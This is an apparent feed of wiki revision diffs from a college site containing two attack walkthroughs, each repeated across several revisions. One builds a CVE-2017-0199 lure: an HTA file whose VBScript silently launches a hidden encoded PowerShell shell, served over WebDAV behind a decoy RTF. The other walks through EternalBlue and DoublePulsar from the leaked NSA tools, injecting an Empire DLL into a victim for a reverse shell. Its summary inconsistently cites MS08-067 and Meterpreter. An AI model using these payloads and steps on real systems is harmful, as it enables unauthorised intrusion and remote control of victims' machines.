		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120924</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120924"/>
		<updated>2017-05-02T18:33:50Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 3 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
Push these 2 files on a webserver you have full control on.&lt;br /&gt;
We supposed it will be stored in /var/www/html&lt;br /&gt;
&lt;br /&gt;
Now we have to configure Apache to be able to include the ms.rtf as a link&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 a2enmod dav  &lt;br /&gt;
 a2enmod dav_fs  &lt;br /&gt;
 a2enmod dav_lock  &lt;br /&gt;
 a2enmod headers  &lt;br /&gt;
 service apache2 restart &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
===Step 6 ===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120923</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120923"/>
		<updated>2017-05-02T18:33:27Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Step 2 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
Create a simple RTF document using Winword with the any random content. (in our example the string &amp;quot;This is my official and legit content&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Call it &amp;quot;ms.rtf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
===Step 6 ===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120922</id>
		<title>CVE-2017-0199 Malicious RTF Document</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=CVE-2017-0199_Malicious_RTF_Document&amp;diff=120922"/>
		<updated>2017-05-02T18:33:07Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: Created page with &amp;quot;==CVE-2017-0199 Malicious RTF Document== ===Step 1 === Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript) Let&amp;#039;s call it &amp;quot;ms.hta&amp;quot;  &amp;lt;pre&amp;gt;  &amp;lt;...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==CVE-2017-0199 Malicious RTF Document==&lt;br /&gt;
===Step 1 ===&lt;br /&gt;
Prepare an HTA file: (HTA file are HTML application which can run JScript and VBscript)&lt;br /&gt;
Let&#039;s call it &amp;quot;ms.hta&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;html xmlns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;head&amp;gt;  &lt;br /&gt;
   &amp;lt;meta content=&amp;quot;text/html; charset=utf-8&amp;quot; http-equiv=&amp;quot;Content-Type&amp;quot; /&amp;gt;  &lt;br /&gt;
   &amp;lt;title&amp;gt;Bonjour&amp;lt;/title&amp;gt;  &lt;br /&gt;
 &amp;lt;script language=&amp;quot;VBScript&amp;quot;&amp;gt;  &lt;br /&gt;
  Set owFrClN0giJ = CreateObject(&amp;quot;Wscript.Shell&amp;quot;)   &lt;br /&gt;
  Set v1ymUkaljYF = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)  &lt;br /&gt;
  If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings(&amp;quot;%PSModulePath%&amp;quot;) + &amp;quot;..\powershell.exe&amp;quot;) Then  &lt;br /&gt;
   owFrClN0giJ.Run &amp;quot;powershell.exe -nop -w hidden -e ENCODED_B64_SHELL&amp;quot;  &lt;br /&gt;
  End If  &lt;br /&gt;
 &amp;lt;/script&amp;gt;  &lt;br /&gt;
 &amp;lt;hta:application  &lt;br /&gt;
     id=&amp;quot;oHTA&amp;quot;  &lt;br /&gt;
     applicationname=&amp;quot;Bonjour&amp;quot;  &lt;br /&gt;
     application=&amp;quot;yes&amp;quot;  &lt;br /&gt;
   &amp;gt;  &lt;br /&gt;
   &amp;lt;/hta:application&amp;gt;  &lt;br /&gt;
   &amp;lt;/head&amp;gt;  &lt;br /&gt;
   &amp;lt;div&amp;gt;   &lt;br /&gt;
   &amp;lt;object type=&amp;quot;text/html&amp;quot; data=&amp;quot;http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;  &lt;br /&gt;
   &amp;lt;/object&amp;gt;&amp;lt;/div&amp;gt;    &lt;br /&gt;
   &amp;lt;body&amp;gt;  &lt;br /&gt;
   &amp;lt;/body&amp;gt;  &lt;br /&gt;
   &amp;lt;/html&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Step 2 ===&lt;br /&gt;
===Step 3 ===&lt;br /&gt;
===Step 4 ===&lt;br /&gt;
===Step 5 ===&lt;br /&gt;
===Step 6 ===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120739</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120739"/>
		<updated>2017-04-30T17:11:02Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Microsoft Security Bulletin MS17-010 - NSA Tool leak */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
&lt;br /&gt;
Author: Ender Loc Phan&lt;br /&gt;
&lt;br /&gt;
Video Proof: &lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
Affected Software:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture17.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;WE WIN!!!!!!&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finally, we’ve obtained a Meterpreter shell on a Windows 7 SP1 x64 without needing for user&lt;br /&gt;
interaction, just with knowing its IP.&lt;br /&gt;
&lt;br /&gt;
Vulnerability detail: &lt;br /&gt;
&lt;br /&gt;
https://technet.microsoft.com/en-us/library/security/ms08-067.aspx&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120738</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120738"/>
		<updated>2017-04-30T17:10:57Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Microsoft Security Bulletin MS17-010 - NSA Tool leak */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
&lt;br /&gt;
Author: Ender Loc Phan&lt;br /&gt;
Video Proof: &lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
Affected Software:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture17.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;WE WIN!!!!!!&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
